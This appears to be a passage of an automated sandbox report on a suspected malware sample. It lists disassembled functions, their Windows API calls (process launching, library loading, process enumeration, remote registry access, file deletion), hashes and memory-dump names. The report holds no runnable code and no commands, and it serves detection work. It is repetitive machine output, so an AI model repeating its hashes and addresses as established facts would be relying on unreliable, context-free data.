                                                                                                                                                                • Instruction ID: 91320a90b1264980cdaedcc476eb5d68c41e4785e28b1cfea692ddce77cd565a
                                                                                                                                                                • Opcode Fuzzy Hash: 598e6c38fe65e869e5ab45c540aa542e3c96418404a03f0dbe8cb34e6b823f65
                                                                                                                                                                • Instruction Fuzzy Hash: F651DFB161830C9BD724DF28CA85BBBBBE9AB85320F048929FA95D31D0DB74DD048752
                                                                                                                                                                Function 00A1B4E4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • ShellExecuteExW.SHELL32(0000003C), ref: 00A1B623
                                                                                                                                                                  • Part of subcall function 00997A0C: _wcslen.LIBCMT ref: 00997A11
                                                                                                                                                                • GetProcessId.KERNEL32(00000000), ref: 00A1B6B8
                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00A1B6E7
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseExecuteHandleProcessShell_wcslen
                                                                                                                                                                • String ID: <$@
                                                                                                                                                                • API String ID: 146682121-1426351568
                                                                                                                                                                • Opcode ID: f0b122e08a2ead6a27e186a803e684199bf1ea06e63e3b3c9b21e1b4122c94ed
                                                                                                                                                                • Instruction ID: 7e8b19c1215ef25b4fcd493c1107c3c94ce3e1976b99f71eb271b5d05368901f
                                                                                                                                                                • Opcode Fuzzy Hash: f0b122e08a2ead6a27e186a803e684199bf1ea06e63e3b3c9b21e1b4122c94ed
                                                                                                                                                                • Instruction Fuzzy Hash: 9A714974A10215DFCF14DF98C584A9DBBF1FF48310F048099E866AB292CB74ED85CBA4
                                                                                                                                                                Function 009F79BA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 009F7A22
                                                                                                                                                                • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 009F7A58
                                                                                                                                                                • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 009F7A69
                                                                                                                                                                • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 009F7AEB
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorMode$AddressCreateInstanceProc
                                                                                                                                                                • String ID: DllGetClassObject
                                                                                                                                                                • API String ID: 753597075-1075368562
                                                                                                                                                                • Opcode ID: b6b59ce35eb9f57402ba49e242436adb73c3174e3db2e38b0114030df61d32a9
                                                                                                                                                                • Instruction ID: db463d307794957957f9f4655f3185428d4c29a2736fff6cbcbcd393c83c5e29
                                                                                                                                                                • Opcode Fuzzy Hash: b6b59ce35eb9f57402ba49e242436adb73c3174e3db2e38b0114030df61d32a9
                                                                                                                                                                • Instruction Fuzzy Hash: D1416D71604208EFDB15CF94C884AAEBBB9EF44310F1584ADEE059F246E7B5DE45CBA0
                                                                                                                                                                Function 00A24456 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A2450F
                                                                                                                                                                • IsMenu.USER32(?), ref: 00A24524
                                                                                                                                                                • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00A2456C
                                                                                                                                                                • DrawMenuBar.USER32 ref: 00A2457F
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Menu$Item$DrawInfoInsert
                                                                                                                                                                • String ID: 0
                                                                                                                                                                • API String ID: 3076010158-4108050209
                                                                                                                                                                • Opcode ID: eaa389f02bdbe063d07d040c49dceaf0363edff3926c5cc66963c7970c3ff868
                                                                                                                                                                • Instruction ID: 7c1468f41fd0680bc9e33d59b8305cc6d4caa707470eea36fbc61bd24338909f
                                                                                                                                                                • Opcode Fuzzy Hash: eaa389f02bdbe063d07d040c49dceaf0363edff3926c5cc66963c7970c3ff868
                                                                                                                                                                • Instruction Fuzzy Hash: 66413975A01219EFDB20CF99E884AAABBB9FF09314F044129F955AB251CB70ED41CF90
                                                                                                                                                                Function 009F25E2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                  • Part of subcall function 009F44BB: GetClassNameW.USER32(?,?,000000FF), ref: 009F44DE
                                                                                                                                                                • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 009F2666
                                                                                                                                                                • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 009F2679
                                                                                                                                                                • SendMessageW.USER32(?,00000189,?,00000000), ref: 009F26A9
                                                                                                                                                                  • Part of subcall function 0099B0DB: _wcslen.LIBCMT ref: 0099B0EE
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$_wcslen$ClassName
                                                                                                                                                                • String ID: ComboBox$ListBox
                                                                                                                                                                • API String ID: 2081771294-1403004172
                                                                                                                                                                • Opcode ID: c04aca89aa7df9d9408ad7ae12321928d1b9d252c08e8dcd96bf8bbf1690db3e
                                                                                                                                                                • Instruction ID: fa8fc98fe8ccd44ccfceff3e60060c9d32c40c11aa73368c96f712b2f2cbccde
                                                                                                                                                                • Opcode Fuzzy Hash: c04aca89aa7df9d9408ad7ae12321928d1b9d252c08e8dcd96bf8bbf1690db3e
                                                                                                                                                                • Instruction Fuzzy Hash: 2A21D6719401087FDB14ABA4DC46EFFBBB8EF85360B50451AF921A71E1DB79494A8720
                                                                                                                                                                Function 00A235F1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00A23667
                                                                                                                                                                • LoadLibraryW.KERNEL32(?), ref: 00A2366E
                                                                                                                                                                • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00A23683
                                                                                                                                                                • DestroyWindow.USER32(?), ref: 00A2368B
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$DestroyLibraryLoadWindow
                                                                                                                                                                • String ID: SysAnimate32
                                                                                                                                                                • API String ID: 3529120543-1011021900
                                                                                                                                                                • Opcode ID: 77b4b2e8e13cafad1d82f5105c0e45a30a804972f60fb196fd4ca993e0305961
                                                                                                                                                                • Instruction ID: a61e09db1a904cd75086fc3677351f8f727010bb229af0260a408983626ab297
                                                                                                                                                                • Opcode Fuzzy Hash: 77b4b2e8e13cafad1d82f5105c0e45a30a804972f60fb196fd4ca993e0305961
                                                                                                                                                                • Instruction Fuzzy Hash: D521D132200215BFEF108FA8EC84EBB37ADFB56364F100638F95596290C779CD529760
                                                                                                                                                                Function 009B518D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,009B513E,00000003,?,009B50DE,00000003,00A59820,0000000C,009B5235,00000003,00000002), ref: 009B51AD
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 009B51C0
                                                                                                                                                                • FreeLibrary.KERNEL32(00000000,?,?,?,009B513E,00000003,?,009B50DE,00000003,00A59820,0000000C,009B5235,00000003,00000002,00000000), ref: 009B51E3
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                • API String ID: 4061214504-1276376045
                                                                                                                                                                • Opcode ID: 611a9492b3aebbc10ba20c4f09c849704cd792085cacc65298c58fb2970a671f
                                                                                                                                                                • Instruction ID: adad21034beb8c0d019c1ddafd402fa5ef5f7afd802bb5e6b30b0d06a75a2709
                                                                                                                                                                • Opcode Fuzzy Hash: 611a9492b3aebbc10ba20c4f09c849704cd792085cacc65298c58fb2970a671f
                                                                                                                                                                • Instruction Fuzzy Hash: 3DF04430900208BBDB21DF98DD49BED7FB8EF44761F150164F805A61A0CB309D52CA90
                                                                                                                                                                Function 0099320E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,?,00992BF2,?,?,00992B95,?,00000001,?,?,00000000), ref: 0099321A
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 0099322C
                                                                                                                                                                • FreeLibrary.KERNEL32(00000000,?,?,00992BF2,?,?,00992B95,?,00000001,?,?,00000000), ref: 0099323E
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Library$AddressFreeLoadProc
                                                                                                                                                                • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                                                                                                                                • API String ID: 145871493-3689287502
                                                                                                                                                                • Opcode ID: 148ec9d0760b731cb1eb55050a9af81ab026802215d0d3f5073722a9edab21dd
                                                                                                                                                                • Instruction ID: c7044e39d0e562ce90b77ae3220aa3e423fa1e2a853043e5ebd8b609a458b1cb
                                                                                                                                                                • Opcode Fuzzy Hash: 148ec9d0760b731cb1eb55050a9af81ab026802215d0d3f5073722a9edab21dd
                                                                                                                                                                • Instruction Fuzzy Hash: 67E08C366026226786221B5DAC08BAFA61CAF86F26B054225FC00E2205DB60CE0384E0
                                                                                                                                                                Function 009931D7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,?,009D3B55,?,?,00992B95,?,00000001,?,?,00000000), ref: 009931E0
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 009931F2
                                                                                                                                                                • FreeLibrary.KERNEL32(00000000,?,?,009D3B55,?,?,00992B95,?,00000001,?,?,00000000), ref: 00993205
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Library$AddressFreeLoadProc
                                                                                                                                                                • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                                                                                                                                • API String ID: 145871493-1355242751
                                                                                                                                                                • Opcode ID: 8afb9cc122ff594c4d6376e6bac7dcdc03d58ce121268c5a157903d9a2e3e7ac
                                                                                                                                                                • Instruction ID: bf2c37dace8a2669741055790bee347746bd615bf2be2f70c7bcfc4dbaddf2de
                                                                                                                                                                • Opcode Fuzzy Hash: 8afb9cc122ff594c4d6376e6bac7dcdc03d58ce121268c5a157903d9a2e3e7ac
                                                                                                                                                                • Instruction Fuzzy Hash: EDD0C2316025317756335B2C7C08DDE2E18BE85B213054530FC20A2115CF20CE1781D0
                                                                                                                                                                Function 00A031D8 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A03496
                                                                                                                                                                • DeleteFileW.KERNEL32(?), ref: 00A03518
                                                                                                                                                                • CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00A0352E
                                                                                                                                                                • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A0353F
                                                                                                                                                                • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A03551
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$Delete$Copy
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3226157194-0
                                                                                                                                                                • Opcode ID: 9193033725d281d8e161d44b11aa2871708ebc2ef9735cb78d01366681a8cecc
                                                                                                                                                                • Instruction ID: 057910ea23669a30d276bbd2ce071e7ee9e8346cdae7738876c13d6dd02ad756
                                                                                                                                                                • Opcode Fuzzy Hash: 9193033725d281d8e161d44b11aa2871708ebc2ef9735cb78d01366681a8cecc
                                                                                                                                                                • Instruction Fuzzy Hash: 21B16C7290012DAFDF15DBA4DD85FEEBBBDEF49310F0040A6F509A6191EB30AB458B61
                                                                                                                                                                Function 00A1AAF9 Relevance: 7.8, APIs: 5, Instructions: 256COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetCurrentProcessId.KERNEL32 ref: 00A1AB99
                                                                                                                                                                • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00A1ABA7
                                                                                                                                                                • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00A1ABDA
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 00A1ADAF
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Process$CloseCountersCurrentHandleOpen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3488606520-0
                                                                                                                                                                • Opcode ID: e895138d7034683a254ace8d84f8ab71c15d14c6e50224feaf9d05ff7dd895f1
                                                                                                                                                                • Instruction ID: 6551febb9d828924e96cb4df4214407fdb11478023a2572027d543783e5b9b2a
                                                                                                                                                                • Opcode Fuzzy Hash: e895138d7034683a254ace8d84f8ab71c15d14c6e50224feaf9d05ff7dd895f1
                                                                                                                                                                • Instruction Fuzzy Hash: C9A1CEB1605700AFD720DF28C882F6AB7E5AF84710F14885DF5999B2D2DB70EC41CB92
                                                                                                                                                                Function 00A1ADEE Relevance: 7.7, APIs: 5, Instructions: 181processCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32 ref: 00A1AE1E
                                                                                                                                                                • Process32FirstW.KERNEL32(00000000,?), ref: 00A1AE2C
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                • CompareStringW.KERNEL32(00000400,00000001,?,?,?,?,?), ref: 00A1AEB0
                                                                                                                                                                • Process32NextW.KERNEL32(00000000,?), ref: 00A1AF18
                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00A1AF2A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1991900642-0
                                                                                                                                                                • Opcode ID: 28e251f715bf671dd6b31069fc77ee17834cf14768808ba82e6b37dcb0309f42
                                                                                                                                                                • Instruction ID: cf41a4e7a4469737245dc221191341626a3fa03381e4aa24ddf9f4076655864a
                                                                                                                                                                • Opcode Fuzzy Hash: 28e251f715bf671dd6b31069fc77ee17834cf14768808ba82e6b37dcb0309f42
                                                                                                                                                                • Instruction Fuzzy Hash: 676159B1508300AFC710EF68C886BABBBE8FF89714F00491DF59597291EB70E945CB92
                                                                                                                                                                Function 00A1C149 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                  • Part of subcall function 00A1D11B: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A1BE2E,?,?), ref: 00A1D138
                                                                                                                                                                  • Part of subcall function 00A1D11B: _wcslen.LIBCMT ref: 00A1D174
                                                                                                                                                                  • Part of subcall function 00A1D11B: _wcslen.LIBCMT ref: 00A1D1E2
                                                                                                                                                                  • Part of subcall function 00A1D11B: _wcslen.LIBCMT ref: 00A1D218
                                                                                                                                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A1C225
                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A1C280
                                                                                                                                                                • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00A1C2E3
                                                                                                                                                                • RegCloseKey.ADVAPI32(?,?), ref: 00A1C326
                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 00A1C333
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 826366716-0
                                                                                                                                                                • Opcode ID: 5762c608463e5c9448040339261133d7e5385f039620f167615a88d2e4aa0b15
                                                                                                                                                                • Instruction ID: bb626e75545fce03e07bc418a0e171d6c19063bc6bdc3d58d58e95ec5701bfef
                                                                                                                                                                • Opcode Fuzzy Hash: 5762c608463e5c9448040339261133d7e5385f039620f167615a88d2e4aa0b15
                                                                                                                                                                • Instruction Fuzzy Hash: AD619331208241AFC714DF58C890FAABBE5FF84318F54855CF49A4B2A2DB31ED86CB91
                                                                                                                                                                Function 009FEBD2 Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009FE5A9: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,009FD678,?), ref: 009FE5C6
                                                                                                                                                                  • Part of subcall function 009FE5A9: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,009FD678,?), ref: 009FE5DF
                                                                                                                                                                  • Part of subcall function 009FE970: GetFileAttributesW.KERNEL32(?,009FD6EB), ref: 009FE971
                                                                                                                                                                • lstrcmpiW.KERNEL32(?,?), ref: 009FEC4A
                                                                                                                                                                • MoveFileW.KERNEL32(?,?), ref: 009FEC83
                                                                                                                                                                • _wcslen.LIBCMT ref: 009FEDC2
                                                                                                                                                                • _wcslen.LIBCMT ref: 009FEDDA
                                                                                                                                                                • SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 009FEE27
                                                                                                                                                                Memory Dump Source
